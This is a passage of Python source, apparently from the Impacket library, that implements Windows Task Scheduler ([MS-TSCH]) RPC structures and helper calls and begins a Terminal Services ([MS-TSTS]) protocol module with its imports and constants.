CNLEN\nUNLEN = 256\nMAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)\n\n# 2.3.7 Flags\nTASK_FLAG_INTERACTIVE                  = 0x1\nTASK_FLAG_DELETE_WHEN_DONE             = 0x2\nTASK_FLAG_DISABLED                     = 0x4\nTASK_FLAG_START_ONLY_IF_IDLE           = 0x10\nTASK_FLAG_KILL_ON_IDLE_END             = 0x20\nTASK_FLAG_DONT_START_IF_ON_BATTERIES   = 0x40\nTASK_FLAG_KILL_IF_GOING_ON_BATTERIES   = 0x80\nTASK_FLAG_RUN_ONLY_IF_DOCKED           = 0x100\nTASK_FLAG_HIDDEN                       = 0x200\nTASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400\nTASK_FLAG_RESTART_ON_IDLE_RESUME       = 0x800\nTASK_FLAG_SYSTEM_REQUIRED              = 0x1000\nTASK_FLAG_RUN_ONLY_IF_LOGGED_ON        = 0x2000\n\n# 2.3.9 TASK_LOGON_TYPE\nTASK_LOGON_NONE                          = 0\nTASK_LOGON_PASSWORD                      = 1\nTASK_LOGON_S4U                           = 2\nTASK_LOGON_INTERACTIVE_TOKEN             = 3\nTASK_LOGON_GROUP                         = 4\nTASK_LOGON_SERVICE_ACCOUNT               = 5\nTASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD = 6\n\n# 2.3.13 TASK_STATE\nTASK_STATE_UNKNOWN  = 0\nTASK_STATE_DISABLED = 1\nTASK_STATE_QUEUED   = 2\nTASK_STATE_READY    = 3\nTASK_STATE_RUNNING  = 4\n\n# 2.4.1 FIXDLEN_DATA\nSCHED_S_TASK_READY         = 0x00041300\nSCHED_S_TASK_RUNNING       = 0x00041301\nSCHED_S_TASK_NOT_SCHEDULED = 0x00041301\n\n# 2.4.2.11 Triggers\nTASK_TRIGGER_FLAG_HAS_END_DATE         = 0\nTASK_TRIGGER_FLAG_KILL_AT_DURATION_END = 0\nTASK_TRIGGER_FLAG_DISABLED             = 0\n\n# ToDo: Change this to enums\nONCE                 = 0\nDAILY                = 1\nWEEKLY               = 2\nMONTHLYDATE          = 3\nMONTHLYDOW           = 4\nEVENT_ON_IDLE        = 5\nEVENT_AT_SYSTEMSTART = 6\nEVENT_AT_LOGON       = 7\n\nSUNDAY    = 0\nMONDAY    = 1\nTUESDAY   = 2\nWEDNESDAY = 3\nTHURSDAY  = 4\nFRIDAY    = 5\nSATURDAY  = 6\n\nJANUARY   = 1\nFEBRUARY  = 2\nMARCH     = 3\nAPRIL     = 4\nMAY       = 5\nJUNE      = 6\nJULY      = 7\nAUGUST    = 8\nSEPTEMBER = 9\nOCTOBER   = 10\nNOVEMBER  = 11\nDECEMBER  = 12\n\n# 2.4.2.11.8 MONTHLYDOW Trigger\nFIRST_WEEK  = 1\nSECOND_WEEK = 2\nTHIRD_WEEK  = 3\nFOURTH_WEEK = 4\nLAST_WEEK   = 5\n\n# 2.3.12 TASK_NAMES\nTASK_NAMES = LPWSTR\n\n# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)\nTASK_VALIDATE_ONLY                = 1<<(31-31)\nTASK_CREATE                       = 1<<(31-30)\nTASK_UPDATE                       = 1<<(31-29)\nTASK_DISABLE                      = 1<<(31-28)\nTASK_DON_ADD_PRINCIPAL_ACE        = 1<<(31-27)\nTASK_IGNORE_REGISTRATION_TRIGGERS = 1<<(31-26)\n\n# 3.2.5.4.5 SchRpcSetSecurity (Opnum 4)\nTASK_DONT_ADD_PRINCIPAL_ACE = 1<<(31-27)\nSCH_FLAG_FOLDER             = 1<<(31-2)\nSCH_FLAG_TASK               = 1<<(31-1) \n\n# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)\nTASK_ENUM_HIDDEN = 1\n\n# 3.2.5.4.13 SchRpcRun (Opnum 12)\nTASK_RUN_AS_SELF            = 1<<(31-31)\nTASK_RUN_IGNORE_CONSTRAINTS = 1<<(31-30)\nTASK_RUN_USE_SESSION_ID     = 1<<(31-29)\nTASK_RUN_USER_SID           = 1<<(31-28)\n\n# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)\nSCH_FLAG_STATE            = 1<<(31-3)\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.3.12 TASK_NAMES\nclass TASK_NAMES_ARRAY(NDRUniConformantArray):\n    item = TASK_NAMES\n\nclass PTASK_NAMES_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',TASK_NAMES_ARRAY),\n    )\n\nclass WSTR_ARRAY(NDRUniConformantArray):\n    item = WSTR\n\nclass PWSTR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',WSTR_ARRAY),\n    )\n\nclass GUID_ARRAY(NDRUniConformantArray):\n    item = GUID\n\nclass PGUID_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',GUID_ARRAY),\n    )\n\n# 3.2.5.4.13 SchRpcRun (Opnum 12)\nclass SYSTEMTIME_ARRAY(NDRUniConformantArray):\n    item = SYSTEMTIME\n\nclass PSYSTEMTIME_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',SYSTEMTIME_ARRAY),\n    )\n\n# 2.3.8 TASK_USER_CRED\nclass TASK_USER_CRED(NDRSTRUCT):\n    structure =  (\n        ('userId',LPWSTR),\n        ('password',LPWSTR),\n        ('flags',DWORD),\n    )\n\nclass TASK_USER_CRED_ARRAY(NDRUniConformantArray):\n    item = TASK_USER_CRED\n\nclass LPTASK_USER_CRED_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',TASK_USER_CRED_ARRAY),\n    )\n\n# 2.3.10 TASK_XML_ERROR_INFO\nclass TASK_XML_ERROR_INFO(NDRSTRUCT):\n    structure =  (\n        ('line',DWORD),\n        ('column',DWORD),\n        ('node',LPWSTR),\n        ('value',LPWSTR),\n    )\n\nclass PTASK_XML_ERROR_INFO(NDRPOINTER):\n    referent = (\n        ('Data',TASK_XML_ERROR_INFO),\n    )\n\n# 2.4.1 FIXDLEN_DATA\nclass FIXDLEN_DATA(Structure):\n    structure = (\n        ('Product Version','<H=0'),\n        ('File Version','<H=0'),\n        ('Job uuid','16s=\"'),\n        ('App Name Len Offset','<H=0'),\n        ('Trigger Offset','<H=0'),\n        ('Error Retry Count','<H=0'),\n        ('Error Retry Interval','<H=0'),\n        ('Idle Deadline','<H=0'),\n        ('Idle Wait','<H=0'),\n        ('Priority','<L=0'),\n        ('Maximum Run Time','<L=0'),\n        ('Exit Code','<L=0'),\n        ('Status','<L=0'),\n        ('Flags','<L=0'),\n    )\n\n# 2.4.2.11 Triggers\nclass TRIGGERS(Structure):\n    structure = (\n        ('Trigger Size','<H=0'),\n        ('Reserved1','<H=0'),\n        ('Begin Year','<H=0'),\n        ('Begin Month','<H=0'),\n        ('Begin Day','<H=0'),\n        ('End Year','<H=0'),\n        ('End Month','<H=0'),\n        ('End Day','<H=0'),\n        ('Start Hour','<H=0'),\n        ('Start Minute','<H=0'),\n        ('Minutes Duration','<L=0'),\n        ('Minutes Interval','<L=0'),\n        ('Flags','<L=0'),\n        ('Trigger Type','<L=0'),\n        ('TriggerSpecific0','<H=0'),\n        ('TriggerSpecific1','<H=0'),\n        ('TriggerSpecific2','<H=0'),\n        ('Padding','<H=0'),\n        ('Reserved2','<H=0'),\n        ('Reserved3','<H=0'),\n    )\n\n# 2.4.2.11.6 WEEKLY Trigger\nclass WEEKLY(Structure):\n    structure = (\n        ('Trigger Type','<L=0'),\n        ('Weeks Interval','<H=0'),\n        ('DaysOfTheWeek','<H=0'),\n        ('Unused','<H=0'),\n        ('Padding','<H=0'),\n    )\n\n# 2.4.2.11.7 MONTHLYDATE Trigger\nclass MONTHLYDATE(Structure):\n    structure = (\n        ('Trigger Type','<L=0'),\n        ('Days','<L=0'),\n        ('Months','<H=0'),\n        ('Padding','<H=0'),\n    )\n\n# 2.4.2.11.8 MONTHLYDOW Trigger\nclass MONTHLYDOW(Structure):\n    structure = (\n        ('Trigger Type','<L=0'),\n        ('WhichWeek','<H=0'),\n        ('DaysOfTheWeek','<H=0'),\n        ('Months','<H=0'),\n        ('Padding','<H=0'),\n        ('Reserved2','<H=0'),\n        ('Reserved3','<H=0'),\n    )\n\n# 2.4.2.12 Job Signature\nclass JOB_SIGNATURE(Structure):\n    structure = (\n        ('SignatureVersion','<HH0'),\n        ('MinClientVersion','<H=0'),\n        ('Signature','64s=\"'),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.2.5.4.1 SchRpcHighestVersion (Opnum 0)\nclass SchRpcHighestVersion(NDRCALL):\n    opnum = 0\n    structure = (\n    )\n\nclass SchRpcHighestVersionResponse(NDRCALL):\n    structure = (\n        ('pVersion', DWORD),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)\nclass SchRpcRegisterTask(NDRCALL):\n    opnum = 1\n    structure = (\n        ('path', LPWSTR),\n        ('xml', WSTR),\n        ('flags', DWORD),\n        ('sddl', LPWSTR),\n        ('logonType', DWORD),\n        ('cCreds', DWORD),\n        ('pCreds', LPTASK_USER_CRED_ARRAY),\n    )\n\nclass SchRpcRegisterTaskResponse(NDRCALL):\n    structure = (\n        ('pActualPath', LPWSTR),\n        ('pErrorInfo', PTASK_XML_ERROR_INFO),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.3 SchRpcRetrieveTask (Opnum 2)\nclass SchRpcRetrieveTask(NDRCALL):\n    opnum = 2\n    structure = (\n        ('path', WSTR),\n        ('lpcwszLanguagesBuffer', WSTR),\n        ('pulNumLanguages', DWORD),\n    )\n\nclass SchRpcRetrieveTaskResponse(NDRCALL):\n    structure = (\n        ('pXml', LPWSTR),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.4 SchRpcCreateFolder (Opnum 3)\nclass SchRpcCreateFolder(NDRCALL):\n    opnum = 3\n    structure = (\n        ('path', WSTR),\n        ('sddl', LPWSTR),\n        ('flags', DWORD),\n    )\n\nclass SchRpcCreateFolderResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.5 SchRpcSetSecurity (Opnum 4)\nclass SchRpcSetSecurity(NDRCALL):\n    opnum = 4\n    structure = (\n        ('path', WSTR),\n        ('sddl', WSTR),\n        ('flags', DWORD),\n    )\n\nclass SchRpcSetSecurityResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.6 SchRpcGetSecurity (Opnum 5)\nclass SchRpcGetSecurity(NDRCALL):\n    opnum = 5\n    structure = (\n        ('path', WSTR),\n        ('securityInformation', DWORD),\n    )\n\nclass SchRpcGetSecurityResponse(NDRCALL):\n    structure = (\n        ('sddl',LPWSTR),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)\nclass SchRpcEnumFolders(NDRCALL):\n    opnum = 6\n    structure = (\n        ('path', WSTR),\n        ('flags', DWORD),\n        ('startIndex', DWORD),\n        ('cRequested', DWORD),\n    )\n\nclass SchRpcEnumFoldersResponse(NDRCALL):\n    structure = (\n        ('startIndex', DWORD),\n        ('pcNames', DWORD),\n        ('pNames', PTASK_NAMES_ARRAY),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.8 SchRpcEnumTasks (Opnum 7)\nclass SchRpcEnumTasks(NDRCALL):\n    opnum = 7\n    structure = (\n        ('path', WSTR),\n        ('flags', DWORD),\n        ('startIndex', DWORD),\n        ('cRequested', DWORD),\n    )\n\nclass SchRpcEnumTasksResponse(NDRCALL):\n    structure = (\n        ('startIndex', DWORD),\n        ('pcNames', DWORD),\n        ('pNames', PTASK_NAMES_ARRAY),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.9 SchRpcEnumInstances (Opnum 8)\nclass SchRpcEnumInstances(NDRCALL):\n    opnum = 8\n    structure = (\n        ('path', LPWSTR),\n        ('flags', DWORD),\n    )\n\nclass SchRpcEnumInstancesResponse(NDRCALL):\n    structure = (\n        ('pcGuids', DWORD),\n        ('pGuids', PGUID_ARRAY),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.10 SchRpcGetInstanceInfo (Opnum 9)\nclass SchRpcGetInstanceInfo(NDRCALL):\n    opnum = 9\n    structure = (\n        ('guid', GUID),\n    )\n\nclass SchRpcGetInstanceInfoResponse(NDRCALL):\n    structure = (\n        ('pPath', LPWSTR),\n        ('pState', DWORD),\n        ('pCurrentAction', LPWSTR),\n        ('pInfo', LPWSTR),\n        ('pcGroupInstances', DWORD),\n        ('pGroupInstances', PGUID_ARRAY),\n        ('pEnginePID', DWORD),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.11 SchRpcStopInstance (Opnum 10)\nclass SchRpcStopInstance(NDRCALL):\n    opnum = 10\n    structure = (\n        ('guid', GUID),\n        ('flags', DWORD),\n    )\n\nclass SchRpcStopInstanceResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.12 SchRpcStop (Opnum 11)\nclass SchRpcStop(NDRCALL):\n    opnum = 11\n    structure = (\n        ('path', LPWSTR),\n        ('flags', DWORD),\n    )\n\nclass SchRpcStopResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.13 SchRpcRun (Opnum 12)\nclass SchRpcRun(NDRCALL):\n    opnum = 12\n    structure = (\n        ('path', WSTR),\n        ('cArgs', DWORD),\n        ('pArgs', PWSTR_ARRAY),\n        ('flags', DWORD),\n        ('sessionId', DWORD),\n        ('user', LPWSTR),\n    )\n\nclass SchRpcRunResponse(NDRCALL):\n    structure = (\n        ('pGuid', GUID),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.14 SchRpcDelete (Opnum 13)\nclass SchRpcDelete(NDRCALL):\n    opnum = 13\n    structure = (\n        ('path', WSTR),\n        ('flags', DWORD),\n    )\n\nclass SchRpcDeleteResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.15 SchRpcRename (Opnum 14)\nclass SchRpcRename(NDRCALL):\n    opnum = 14\n    structure = (\n        ('path', WSTR),\n        ('newName', WSTR),\n        ('flags', DWORD),\n    )\n\nclass SchRpcRenameResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.16 SchRpcScheduledRuntimes (Opnum 15)\nclass SchRpcScheduledRuntimes(NDRCALL):\n    opnum = 15\n    structure = (\n        ('path', WSTR),\n        ('start', PSYSTEMTIME),\n        ('end', PSYSTEMTIME),\n        ('flags', DWORD),\n        ('cRequested', DWORD),\n    )\n\nclass SchRpcScheduledRuntimesResponse(NDRCALL):\n    structure = (\n        ('pcRuntimes',DWORD),\n        ('pRuntimes',PSYSTEMTIME_ARRAY),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.17 SchRpcGetLastRunInfo (Opnum 16)\nclass SchRpcGetLastRunInfo(NDRCALL):\n    opnum = 16\n    structure = (\n        ('path', WSTR),\n    )\n\nclass SchRpcGetLastRunInfoResponse(NDRCALL):\n    structure = (\n        ('pLastRuntime',SYSTEMTIME),\n        ('pLastReturnCode',DWORD),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)\nclass SchRpcGetTaskInfo(NDRCALL):\n    opnum = 17\n    structure = (\n        ('path', WSTR),\n        ('flags', DWORD),\n    )\n\nclass SchRpcGetTaskInfoResponse(NDRCALL):\n    structure = (\n        ('pEnabled',DWORD),\n        ('pState',DWORD),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.19 SchRpcGetNumberOfMissedRuns (Opnum 18)\nclass SchRpcGetNumberOfMissedRuns(NDRCALL):\n    opnum = 18\n    structure = (\n        ('path', WSTR),\n    )\n\nclass SchRpcGetNumberOfMissedRunsResponse(NDRCALL):\n    structure = (\n        ('pNumberOfMissedRuns',DWORD),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.4.20 SchRpcEnableTask (Opnum 19)\nclass SchRpcEnableTask(NDRCALL):\n    opnum = 19\n    structure = (\n        ('path', WSTR),\n        ('enabled', DWORD),\n    )\n\nclass SchRpcEnableTaskResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (SchRpcHighestVersion,SchRpcHighestVersionResponse ),\n 1 : (SchRpcRegisterTask,SchRpcRegisterTaskResponse ),\n 2 : (SchRpcRetrieveTask,SchRpcRetrieveTaskResponse ),\n 3 : (SchRpcCreateFolder,SchRpcCreateFolderResponse ),\n 4 : (SchRpcSetSecurity,SchRpcSetSecurityResponse ),\n 5 : (SchRpcGetSecurity,SchRpcGetSecurityResponse ),\n 6 : (SchRpcEnumFolders,SchRpcEnumFoldersResponse ),\n 7 : (SchRpcEnumTasks,SchRpcEnumTasksResponse ),\n 8 : (SchRpcEnumInstances,SchRpcEnumInstancesResponse ),\n 9 : (SchRpcGetInstanceInfo,SchRpcGetInstanceInfoResponse ),\n 10 : (SchRpcStopInstance,SchRpcStopInstanceResponse ),\n 11 : (SchRpcStop,SchRpcStopResponse ),\n 12 : (SchRpcRun,SchRpcRunResponse ),\n 13 : (SchRpcDelete,SchRpcDeleteResponse ),\n 14 : (SchRpcRename,SchRpcRenameResponse ),\n 15 : (SchRpcScheduledRuntimes,SchRpcScheduledRuntimesResponse ),\n 16 : (SchRpcGetLastRunInfo,SchRpcGetLastRunInfoResponse ),\n 17 : (SchRpcGetTaskInfo,SchRpcGetTaskInfoResponse ),\n 18 : (SchRpcGetNumberOfMissedRuns,SchRpcGetNumberOfMissedRunsResponse),\n 19 : (SchRpcEnableTask,SchRpcEnableTaskResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef hSchRpcHighestVersion(dce):\n    return dce.request(SchRpcHighestVersion())\n\ndef hSchRpcRegisterTask(dce, path, xml, flags, sddl, logonType, pCreds = ()):\n    request = SchRpcRegisterTask()\n    request['path'] = checkNullString(path)\n    request['xml'] = checkNullString(xml)\n    request['flags'] = flags\n    request['sddl'] = sddl\n    request['logonType'] = logonType\n    request['cCreds'] = len(pCreds)\n    if len(pCreds) == 0:\n        request['pCreds'] = NULL\n    else:\n        for cred in pCreds:\n            request['pCreds'].append(cred)\n    return dce.request(request)\n\ndef hSchRpcRetrieveTask(dce, path, lpcwszLanguagesBuffer = '\\x00', pulNumLanguages=0 ):\n    schRpcRetrieveTask = SchRpcRetrieveTask()\n    schRpcRetrieveTask['path'] = checkNullString(path)\n    schRpcRetrieveTask['lpcwszLanguagesBuffer'] = lpcwszLanguagesBuffer\n    schRpcRetrieveTask['pulNumLanguages'] = pulNumLanguages\n    return dce.request(schRpcRetrieveTask)\n\ndef hSchRpcCreateFolder(dce, path, sddl = NULL):\n    schRpcCreateFolder = SchRpcCreateFolder()\n    schRpcCreateFolder['path'] = checkNullString(path)\n    schRpcCreateFolder['sddl'] = sddl\n    schRpcCreateFolder['flags'] = 0\n    return dce.request(schRpcCreateFolder)\n\ndef hSchRpcSetSecurity(dce, path, sddl, flags):\n    schRpcSetSecurity = SchRpcSetSecurity()\n    schRpcSetSecurity['path'] = checkNullString(path)\n    schRpcSetSecurity['sddl'] = checkNullString(sddl)\n    schRpcSetSecurity['flags'] = flags\n    return dce.request(schRpcSetSecurity)\n\ndef hSchRpcGetSecurity(dce, path, securityInformation=0xffffffff):\n    schRpcGetSecurity = SchRpcGetSecurity()\n    schRpcGetSecurity['path'] = checkNullString(path)\n    schRpcGetSecurity['securityInformation'] = securityInformation\n    return dce.request(schRpcGetSecurity)\n\ndef hSchRpcEnumFolders(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):\n    schRpcEnumFolders = SchRpcEnumFolders()\n    schRpcEnumFolders['path'] = checkNullString(path)\n    schRpcEnumFolders['flags'] = flags\n    schRpcEnumFolders['startIndex'] = startIndex\n    schRpcEnumFolders['cRequested'] = cRequested\n    return dce.request(schRpcEnumFolders)\n\ndef hSchRpcEnumTasks(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):\n    schRpcEnumTasks = SchRpcEnumTasks()\n    schRpcEnumTasks['path'] = checkNullString(path)\n    schRpcEnumTasks['flags'] = flags\n    schRpcEnumTasks['startIndex'] = startIndex\n    schRpcEnumTasks['cRequested'] = cRequested\n    return dce.request(schRpcEnumTasks)\n\ndef hSchRpcEnumInstances(dce, path, flags=TASK_ENUM_HIDDEN):\n    schRpcEnumInstances = SchRpcEnumInstances()\n    schRpcEnumInstances['path'] = checkNullString(path)\n    schRpcEnumInstances['flags'] = flags\n    return dce.request(schRpcEnumInstances)\n\ndef hSchRpcGetInstanceInfo(dce, guid):\n    schRpcGetInstanceInfo = SchRpcGetInstanceInfo()\n    schRpcGetInstanceInfo['guid'] = guid\n    return dce.request(schRpcGetInstanceInfo)\n\ndef hSchRpcStopInstance(dce, guid, flags = 0):\n    schRpcStopInstance = SchRpcStopInstance()\n    schRpcStopInstance['guid'] = guid\n    schRpcStopInstance['flags'] = flags\n    return dce.request(schRpcStopInstance)\n\ndef hSchRpcStop(dce, path, flags = 0):\n    schRpcStop= SchRpcStop()\n    schRpcStop['path'] = checkNullString(path)\n    schRpcStop['flags'] = flags\n    return dce.request(schRpcStop)\n\ndef hSchRpcRun(dce, path, pArgs=(), flags=0, sessionId=0, user = NULL):\n    schRpcRun = SchRpcRun()\n    schRpcRun['path'] = checkNullString(path)\n    schRpcRun['cArgs'] = len(pArgs)\n    for arg in pArgs:\n        argn = LPWSTR()\n        argn['Data'] = checkNullString(arg)\n        schRpcRun['pArgs'].append(argn)\n    schRpcRun['flags'] = flags\n    schRpcRun['sessionId'] = sessionId\n    schRpcRun['user'] = user\n    return dce.request(schRpcRun)\n\ndef hSchRpcDelete(dce, path, flags = 0):\n    schRpcDelete = SchRpcDelete()\n    schRpcDelete['path'] = checkNullString(path)\n    schRpcDelete['flags'] = flags\n    return dce.request(schRpcDelete)\n\ndef hSchRpcRename(dce, path, newName, flags = 0):\n    schRpcRename = SchRpcRename()\n    schRpcRename['path'] = checkNullString(path)\n    schRpcRename['newName'] = checkNullString(newName)\n    schRpcRename['flags'] = flags\n    return dce.request(schRpcRename)\n\ndef hSchRpcScheduledRuntimes(dce, path, start = NULL, end = NULL, flags = 0, cRequested = 10):\n    schRpcScheduledRuntimes = SchRpcScheduledRuntimes()\n    schRpcScheduledRuntimes['path'] = checkNullString(path)\n    schRpcScheduledRuntimes['start'] = start\n    schRpcScheduledRuntimes['end'] = end\n    schRpcScheduledRuntimes['flags'] = flags\n    schRpcScheduledRuntimes['cRequested'] = cRequested\n    return dce.request(schRpcScheduledRuntimes)\n\ndef hSchRpcGetLastRunInfo(dce, path):\n    schRpcGetLastRunInfo = SchRpcGetLastRunInfo()\n    schRpcGetLastRunInfo['path'] = checkNullString(path)\n    return dce.request(schRpcGetLastRunInfo)\n\ndef hSchRpcGetTaskInfo(dce, path, flags = 0):\n    schRpcGetTaskInfo = SchRpcGetTaskInfo()\n    schRpcGetTaskInfo['path'] = checkNullString(path)\n    schRpcGetTaskInfo['flags'] = flags\n    return dce.request(schRpcGetTaskInfo)\n\ndef hSchRpcGetNumberOfMissedRuns(dce, path):\n    schRpcGetNumberOfMissedRuns = SchRpcGetNumberOfMissedRuns()\n    schRpcGetNumberOfMissedRuns['path'] = checkNullString(path)\n    return dce.request(schRpcGetNumberOfMissedRuns)\n\ndef hSchRpcEnableTask(dce, path, enabled = True):\n    schRpcEnableTask = SchRpcEnableTask()\n    schRpcEnableTask['path'] = checkNullString(path)\n    if enabled is True:\n        schRpcEnableTask['enabled'] = 1\n    else:\n        schRpcEnableTask['enabled'] = 0\n    return dce.request(schRpcEnableTask)\n"
  },
  {
    "path": "impacket/dcerpc/v5/tsts.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-TSTS] Terminal Services Terminal Server Runtime Interface Protocol implementation\n# \n# Interface Implementation based on:\n#   [MS-TSTS] - v20210625: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/\n#   [MS-TSTS] – v20080207: https://docplayer.net/22134151-Ms-tsts-terminal-services-terminal-server-runtime-interface-protocol-specification.html\n# \n#   Some RPC Calls are marked with #COMMENT_LIKE tags with following meaning:\n#       #NOT_IMPLEMENTED : RPC Call or Structure is not implemented in current revision.\n#       #DOES_NOT_WORK   : I was unable to acheive documented response or properly construct RPC request.\n#       #OLD             : RPC Call was taken from [MS-TSTS] – v20080207 documentation, which might be deprecated.\n# \n#   Some not implemented RPC Calls and structures contains with multi-line comments for future work\n# \n# Author:\n#   Alexander Korznikov (@nopernik) https://korznikov.com\n#\n\nimport struct\nfrom datetime import datetime, timedelta\nfrom ldap3.protocol.formatters.formatters import format_sid\n\nfrom impacket.dcerpc.v5 import transport\nfrom impacket.uuid import uuidtup_to_bin, bin_to_string, string_to_bin\nfrom impacket.dcerpc.v5.ndr import NDR, NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRUniConformantArray, \\\n    NDRPOINTER, NDRUniConformantVaryingArray, UNKNOWNDATA\nfrom impacket.dcerpc.v5.dtypes import NULL, BOOL, BOOLEAN, STR, WSTR, LPWSTR, WIDESTR, RPC_UNICODE_STRING, \\\n    LONG, UINT, ULONG, PULONG, LPDWORD, LARGE_INTEGER, DWORD, NDRHYPER, USHORT, UCHAR, PCHAR, BYTE, PBYTE, \\\n    UUID, GUID\nfrom impacket import system_errors\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n################################################################################\n# Constants\n################################################################################\n\nTermSrvSession_UUID      = uuidtup_to_bin(('484809d6-4239-471b-b5bc-61df8c23ac48','1.0'))\nTermSrvNotification_UUID = uuidtup_to_bin(('11899a43-2b68-4a76-92e3-a3d6ad8c26ce','1.0'))\nTermSrvEnumeration_UUID  = uuidtup_to_bin(('88143fd0-c28d-4b2b-8fef-8d882f6a9390','1.0'))\nRCMPublic_UUID           = uuidtup_to_bin(('bde95fdf-eee0-45de-9e12-e5a61cd0d4fe','1.0'))\nRcmListener_UUID         = uuidtup_to_bin(('497d95a6-2d27-4bf5-9bbd-a6046957133c','1.0'))\nSessEnvPublicRpc_UUID    = uuidtup_to_bin(('1257b580-ce2f-4109-82d6-a9459d0bf6bc','1.0'))\nLegacyAPI_UUID           = uuidtup_to_bin(('5ca4a760-ebb1-11cf-8611-00a0245420ed','1.0'))\n\nAUDIODRIVENAME_LENGTH                = 9\nWDPREFIX_LENGTH                      = 12\nSTACK_ADDRESS_LENGTH                 = 128\nMAX_BR_NAME                          = 65\nDIRECTORY_LENGTH                     = 256\nINITIALPROGRAM_LENGTH                = 256\nUSERNAME_LENGTH                      = 20\nDOMAIN_LENGTH                        = 17\nPASSWORD_LENGTH                      = 14\nNASISPECIFICNAME_LENGTH              = 14\nNASIUSERNAME_LENGTH                  = 47\nNASIPASSWORD_LENGTH                  = 24\nNASISESSIONNAME_LENGTH               = 16\nNASIFILESERVER_LENGTH                = 47\nCLIENTDATANAME_LENGTH                = 7\nCLIENTNAME_LENGTH                    = 20\nCLIENTADDRESS_LENGTH                 = 30\nIMEFILENAME_LENGTH                   = 32\nDIRECTORY_LENGTH                     = 256\nCLIENTLICENSE_LENGTH                 = 32\nCLIENTMODEM_LENGTH                   = 40\nCLIENT_PRODUCT_ID_LENGTH             = 32\nMAX_COUNTER_EXTENSIONS               = 2\nWINSTATIONNAME_LENGTH                = 32\nPROTOCOL_CONSOLE                     = 0\nPROTOCOL_ICA                         = 1\nPROTOCOL_TSHARE                      = 2\nPROTOCOL_RDP                         = 2\nPDNAME_LENGTH                        = 32\nWDNAME_LENGTH                        = 32\nCDNAME_LENGTH                        = 32\nDEVICENAME_LENGTH                    = 128\nMODEMNAME_LENGTH                     = DEVICENAME_LENGTH\nCALLBACK_LENGTH                      = 50\nDLLNAME_LENGTH                       = 32\nWINSTATIONCOMMENT_LENGTH             = 60\nMAX_LICENSE_SERVER_LENGTH            = 1024\nLOGONID_CURRENT                      = ULONG\nMAX_PDCONFIG                         = 10\nTERMSRV_TOTAL_SESSIONS               = 1\nTERMSRV_DISC_SESSIONS                = 2\nTERMSRV_RECON_SESSIONS               = 3\nTERMSRV_CURRENT_ACTIVE_SESSIONS      = 4\nTERMSRV_CURRENT_DISC_SESSIONS        = 5\nTERMSRV_PENDING_SESSIONS             = 6\nTERMSRV_SUCC_TOTAL_LOGONS            = 7\nTERMSRV_SUCC_LOCAL_LOGONS            = 8\nTERMSRV_SUCC_REMOTE_LOGONS           = 9\nTERMSRV_SUCC_SESSION0_LOGONS         = 10\nTERMSRV_CURRENT_TERMINATING_SESSIONS = 11\nTERMSRV_CURRENT_LOGGEDON_SESSIONS    = 12\nNO_FALLBACK_DRIVERS                  = 0x0\nFALLBACK_BESTGUESS                   = 0x1\nFALLBACK_PCL                         = 0x2\nFALLBACK_PS                          = 0x3\nFALLBACK_PCLANDPS                    = 0x4\nVIRTUALCHANNELNAME_LENGTH            = 7\n\nWINSTATION_QUERY        = 0x00000001    # WinStationQueryInformation() 